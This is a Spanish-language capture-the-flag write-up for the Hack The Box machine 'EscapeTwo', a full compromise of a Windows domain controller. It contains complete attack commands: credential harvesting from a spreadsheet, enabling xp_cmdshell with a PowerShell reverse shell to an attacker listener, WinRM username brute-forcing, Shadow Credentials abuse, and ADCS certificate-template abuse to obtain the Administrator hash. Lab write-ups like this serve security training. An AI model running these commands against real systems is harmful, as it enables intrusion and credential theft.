Writeup EscapeTwo
Dificultad: Media
Sistema Operativo: Windows
Hoy vamos a 4tac4r este dc Windows. al inicio nos dan unas credenciales de usuario con pocos privilegios, que usamos para acceder a un recurso compartido smb encontrando nuevas credenciales en un archivo xlsx, sirviendonos para enumerar y asi encontrar otras credenciales válidas en el dominio lasa cuales tienen acceso a MSSQL, el cual usaremos para enumerar y ver permisos de los usuarios, explotando tambien una mala configuracion y logrando una reverse shell y asi ganando acceso al servidor. Al enumerar el sistema, encontraremos credenciales de SQL que, al probarlas, nos dan acceso vía WinRM. Analizando el dominio, descubres que el usuario tiene permisos de escritura sobre una cuenta que gestiona ADCS. Esto te permite identificar una mala configuración en Active Directory con la ayuda de bloodhound, que explotaremos para obtener el hash de la cuenta de Administrator, logrando así el control total del dominio.
hoy finalmente tenemos el primer writeup de una maquina windows fácil
esta vez, vemos que al desplegar la maquina nos dicen que vamos a iniciar la maquina con credenciales, asi como en el mundo real cuando nos enfrentamos a una auditoria en un entorno windows:
rose: KxEPkKe6R8su
primero, vamos a escanear el host y ver los puertos disponibles con nmap:
nmap -p- --open -sS -Pn -vvv -n --min-rate 5000 10.10.10.10 -oN puertos
nos dice:
Not shown: 65510 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49689/tcp open unknown syn-ack ttl 127
49690/tcp open unknown syn-ack ttl 127
49695/tcp open unknown syn-ack ttl 127
49702/tcp open unknown syn-ack ttl 127
49734/tcp open unknown syn-ack ttl 127
49753/tcp open unknown syn-ack ttl 127
49812/tcp open unknown syn-ack ttl 127
los puertos comunes que vemos en un domain controller
nmap -p53,88,135,139,389,445,464,593,636,1433,3268 -sCV -vvv -n -Pn 10.129.2.36 -oN objetivo
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-04 14:45:56Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-04T14:46:45+00:00; +1m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupp
.
.
.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
.
.
.
aquí el ldap tambien nos reporta un nombre de dominio y voy a agregar a mi /etc/hosts:
10.10.10.10 sequel.htb
ahora, enumerando con las credenciales que nos han proporcionado con la herramienta netexec el único protocolo que me da resultados es smb:
netexec smb sequel.htb -u rose -p KxEPkKe6R8su --shares
con –shares vamos a buscar los recursos compartidos (típico del protocolo smb) tenemos:
SMB 10.129.2.36 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.129.2.36 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.129.2.36 445 DC01 [*] Enumerated shares
SMB 10.129.2.36 445 DC01 Share Permissions Remark
SMB 10.129.2.36 445 DC01 ----- ----------- ------
SMB 10.129.2.36 445 DC01 Accounting Department READ
SMB 10.129.2.36 445 DC01 ADMIN$ Remote Admin
SMB 10.129.2.36 445 DC01 C$ Default share
SMB 10.129.2.36 445 DC01 IPC$ READ Remote IPC
SMB 10.129.2.36 445 DC01 NETLOGON READ Logon server share
SMB 10.129.2.36 445 DC01 SYSVOL READ Logon server share
SMB 10.129.2.36 445 DC01 Users READ
ya con teniendo algunos recursos compartidos, vamos a usar #smbclient
después de intentar los recursos compartidos disponibles, este es el que me ha dejado conectarme:
smbclient //sequel.htb/Users -U rose
smbclient //sequel.htb/'Accounting Department' -U rose
luego de mirar y buscar por todo el contenido de “users” encontré algo bueno en “accounting department”:
los archivos xlsx son archivos comprimidos asi que:
unzip accounts.xlsx
unzip accounting_2024.xlsx
y dentro del directorio /xl de accounts encontre:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst><?xml version="1.0" encoding="UTF-8" standalone="yes"?>
mas cuentas de usuarios del sistema y contraseñas :D
tambien se mencionan en /xl/worksheets/sheet1.xml
dentro del otro comprimido no he visto mención de los usuarios
con esto, voy a crear una lista y enumerar mas usuarios en el sistema:
sa@sequel.htb 'MSSQLP@ssw0rd!'
kevin@sequel.htb Md9Wlq1E5bZnVDVo
oscar@sequel.htb 86LxLBMgEWaKUnBG
angela@sequel.htb 0fwz7Q4mSpurIt99
probé con varias herramientas para verificar cuales eran usuarios validos en el sistema netexec:
netexec smb sequel.htb -u usersn.txt -p pass.txt
crackmapexec:
crackmapexec mssql sequel.htb -u usersn.txt -p pass.txt
kerbrute:
./kerbrute userenum --dc 10.129.2.36 -d sequel.htb usersn.txt
las 3 coinciden en que las credenciales validas son: ***sequel.htb\oscar:86LxLBMgEWaKUnBG
después de probar varios protocolos con impacket, tenemos conexión con mssql:
impacket-mssqlclient sequel.htb/oscar:86LxLBMgEWaKUnBG@10.129.2.36 -windows-auth
después de estar un rato en la base de datos el usuario no tenia permisos de ejecutar nada, además de que las bases de dato no tenían información.
volví a ver los usuarios y que en mssql en usuario sa es el predeterminado, asi que intente probarlo para conectarme a la base de datos:
impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.2.36
comandos que he ejecutado:
//listar si eres admin:
SELECT is_srvrolemember('sysadmin');
//ver si los permisos de ejecutar comandos en el sistema desde la conexion de la base de datos:
EXEC sp_configure 'xp_cmdshell';
si el resultado “run_value” esta a 0, podemos intentar activarlo con:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
podemos volver a verificar :
EXEC sp_configure 'xp_cmdshell';
si esta el “run_value” en 1 podremos ejecutar finalmente una reverse shell:
EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''10.10.10.10'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';
en mi maquina ejecute antes:
nc -lnvp 4444
si no se ejecuta, hay que hacer el proceso de nuevo, porque se restablece la configuración de ejecución de comandos
para empezar a enumerar el sistema, fui hasta la raiz y alli vi un directorio \SQL2019 , dentro hay otro directorio que si lo visitamos veremos:
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/8/2024 3:07 PM 1033_ENU_LP
d----- 6/8/2024 3:07 PM redist
d----- 6/8/2024 3:07 PM resources
d----- 6/8/2024 3:07 PM x64
-a---- 9/24/2019 10:03 PM 45 AUTORUN.INF
-a---- 9/24/2019 10:03 PM 788 MEDIAINFO.XML
-a---- 6/8/2024 3:07 PM 16 PackageId.dat
-a---- 9/24/2019 10:03 PM 142944 SETUP.EXE
-a---- 9/24/2019 10:03 PM 486 SETUP.EXE.CONFIG
-a---- 6/8/2024 3:07 PM 717 sql-Configuration.INI
-a---- 9/24/2019 10:03 PM 249448 SQLSETUPBOOTSTRAPPER.DLL
los archivos .INI son de configuración, al abrirlo:
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
tenemos otras credenciales: sql_svc:WqSZAF6CysDQbGb3
podemos dar una vuelta por el sistema, pero esto es lo mas relevante que encontré
al probar con los protocolos, en todos me decía que el usuario estaba activo, pero en rdp y winrm me daba un error con las librerias, lo cual no dejaba ejecutrarlo, asi que voy a intentar conectarme directamente con evil-winrm sino con xfreerdp
no han funcionado tampoco, asi que volví a las carpetas de usuario a ver si me había saltado alguno, pero no encontré mas información
así que, hare fuerza bruta de usuarios, y ver si la contraseña encontrada es valida
con el comando:
PYTHONWARNINGS=ignore crackmapexec winrm 10.129.2.83 -u /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success
ignorando las advertencias tenemos: tenemos a un usuario ryan
usando el comando:
evil-winrm -i 10.129.2.83 -u ryan -p WqSZAF6CysDQbGb3
finalmente tenemos un usuario con permiso de ejecución remota y en el directorio /Desktop esta la flag del usuario:
para recolectar información desde nuestro equipo, podemos usar la herramienta bloodhound-python:
primero debemos estar en un entorno de desarrollo para poder instalar la herramienta:
python3 -m env 3vilsec
source 3vilsec/bin/activate
instalar la herramienta:
pip3 install bloodhound
y dentro de un directorio (porque creara muchos archivos) ejecutar:
bloodhound-python -u ryan -p WqSZAF6CysDQbGb3 -d sequel.htb -ns 10.10.10.10 -c all
vamos a correr en la terminal:
bloodhound
y en nuestro localhost:8080 veremos la interface de inicio de sesion, alli vamos a colocar nuestras credenciales y vamos a cargar todos los archivos que nos ha creado bloodhound-python
buscaremos en la pestana “explore” el nombre del usuario que ya tenemos para conectarnos:
vamos a añadirlo como usuario “owned” con click derecho:
y en la pestana izquierda veremos que permisos, ventajas y demas tiene este usuario para buscar la forma de escalar privilegios
vemos que somos miembro de 4 grupos:
si miramos mas al usuario ryan, veremos que en la seccion outbound object control, tenemos permisos writeOwner sobre el usuario: CA_SVC
investigando, ese permiso nos permite hacernos propietarios de la cuenta de ese usuario, para modificar permisos y darnos control total y asi resetear su contraseña e iniciar sesión como ese usuario
por que no atacar directamente al administrador? porque bloodhound no me da pistas sobre alguna conexión, además muchas veces en las maquinas de hack the box, se tienen este tipo de movimientos laterales, posiblemente dentro de este usuario encontraremos algo mas para escalar a Administrator
vamos a reactivar el entorno de desarrollo python con:
source 3vil/bin/activate
vamos a instalar la herramienta:
pip3 install bloodAD
la usaremos asi:
bloodyAD --host 10.129.26.148 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set owner CA_SVC RYAN
nos dira:
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by RYAN on CA_SVC
ahora, para darnos el control total:
bloodyAD --host 10.129.26.148 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 add genericAll CA_SVC RYAN
nos dira:
[+] RYAN has now GenericAll on CA_SVC
si no lo cambia, hazlo de nuevo, recuerda que las maquinas tienen scripts para deshacer algunas configuraciones o cargas maliciosas
y le cambiaremos su contraseña:
bloodyAD --host 10.129.26.148 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set password CA_SVC 3vilsec
[+] Password changed successfully!
pero al intentar ver si las credenciales realmente han cambiado con crackmapexec o netexec el resultado es negativo no se cambia la contraseña
podría intentar una técnica conocida como Shadow Credentials: dado que podemos manipular totalmente al usuario ca_svc, vamos a intentar manipular el atributo msDS-KeyCredentialLink que almacena datos en bruto para la autenticación sin contraseña
para esto, necesitamos una herramienta llamada pywhisker: https://github.com/ShutdownRepo/pywhisker
git clone https://github.com/ShutdownRepo/pywhisker
cd pywhisker
pip3 install .
esto se va a instalar en tu entorno, tambien fuera de esa carpeta necesitaremos las herramientas del repositorio PKINITtools:
git clone https://github.com/dirkjanm/PKINITtools
cd PKINITtools
pip3 install .
ahora, lo que haremos serán los comando en el siguiente orden (recuerda tener presente los directorios donde están las herramientas):
1 Vamos a apoderarnos de la cuenta del usuario ca_svc gracias al atributo writeowner que nos permite modificar NTSecurityDescriptor:
bloodyAD --host 10.10.10.10 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set owner CA_SVC RYAN
2 me voy a otorgar permisos generales sobre la cuenta, para tener la capacidad de cambiar cualquier atributo, lo que nos va a permitir añadir claves kerberos:
bloodyAD --host 10.129.231.236 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 add genericAll CA_SVC RYAN
3 voy a ejecutar un ataque de “Shadow Credentials” agregando una clave kerberos en el atributo msDS-KeyCredentialLink con la herramienta pywhisker, que va a generar un par de certificados en formato PEM, los agregara al usuario y nos lo dejara en el directorio. esto será crucial, dado que nos permitirá autenticarnos con certificados y no con hash o contraseñas:
python3 pywhisker.py -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 --dc-ip 10.129.231.236 --target CA_svc --action add --filename CACert --export PEM
4 solicitar un TGT (ticket granting ticket) para el usuario ca_svc usando los certificados PEM para autenticarnos con kerberos y lo guardamos en ca_svc.ccache, esto sirve para no cambiar la contraseña del usuario ca_svc:
python3 ../../PKINITtools/gettgtpkinit.py -cert-pem CACert_cert.pem -key-pem CACert_priv.pem sequel.htb/ca_svc ca_svc.ccache
5 configurar la una variable de entorno KRB5ccname para que apunte al tgt para luego autenticarnos sin credenciales ya que esa variable es parte de las variables kerberos en linux:
export KRB5CCNAME=ca_svc.ccache
6 vamos a generar un hash NTLM a partir del TGT:
python ../../PKINITtools/getnthash.py -key d755c02de07677f61796d56e993cdbfd31c1a95b118b3b29c44d49e7ad564aa7 sequel.htb/ca_svc
para validar la autenticacion en el sistema con el hash ntlm usaremos (recuerda usar el hash que te ha dado la herramienta anterior):
netexec smb 10.129.231.236 -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce
finalmente tenemos un otro usuario autenticado pero no tenemos permisos para conectarnos con rdp o winrm
buscando modos de enumerar con el usuario que hemos powneado podemos buscar configuraciones, plantillas vulnerables o certificados mal configurados, voy a usar la herramienta certipy-ad en el entorno de desarrollo python:
pip3 install certipy-ad
y vamos a enumerar con nuestro usuario recien conseguido y su hash NTLM:
certipy-ad find -vulnerable -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.231.236
nos dira:
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250507090408_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250507090408_Certipy.txt'
[*] Saved JSON output to '20250507090408_Certipy.json'
si miramos el archivo de salida .json vemos al final del todo:
la vulnerabilidad que podremos explotar con este usuario! en la plantilla de certificado “DunderMifflinAuthentication”
aunque esta plantilla tiene una limitacion, y es que no podemos agregar un SAN arbitrario porque enrolle supplies subject es false:
para explotar esto, vamos primero a modificar la plantilla
pero por el reinicio, debemos habilitar los permisos del usuario de nuevo (si te da error)
bloodyAD --host 10.129.231.236 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set owner CA_SVC RYAN
luego:
bloodyAD --host 10.129.231.236 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 add genericAll CA_SVC RYAN
para volver la plantilla vulnerable y modificarle los permisos y a la vez creando una copia de seguridad:
certipy-ad template -username 'ca_svc@sequel.htb' -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -template DunderMifflinAuthentication -save-old
y para pedir el certificado como administradores asignandonos un SAN aletorio porque ahora lo podemos controlar, vamos a usar:
certipy-ad req -username 'ca_svc@sequel.htb' -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target DC01.sequel.htb -template DunderMifflinAuthentication -upn administrator@sequel.htb
eso nos deja un archivo .pfx:
que usaremos para tener un hash como administrador:
certipy-ad auth -pfx administrator.pfx -domain sequel.htb
con esto, nos dará el hash y lo almacenara directamente en una variable, asi que solo debemos actualizar la kerb5 para que valga lo mismo y nos podremos autenticar:
export KRB5CCNAME=administrator.ccache
uso psexec.py para autenticarme:
psexec.py -k -no-pass sequel.htb/administrator@DC01.sequel.htb
y somos admin:
realmente pienso que esta maquina es mas como media (debemos hacer mas active directory)
nos vemos en la siguiente maquina!